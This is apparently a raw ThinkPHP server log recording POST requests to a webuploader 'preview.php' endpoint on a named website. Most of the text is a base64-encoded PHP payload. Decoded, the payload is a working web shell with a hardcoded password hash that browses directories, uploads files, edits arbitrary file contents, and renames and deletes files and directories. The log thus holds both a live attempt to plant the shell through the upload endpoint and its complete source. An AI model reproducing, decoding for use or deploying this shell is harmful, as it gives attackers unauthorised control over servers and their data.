QogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:49+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/admin/Widget/webuploader/0.1.5/server/preview.php [运行时间:0.002750s] [吞吐率:363.65req/s] [内存消耗:196.79kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZW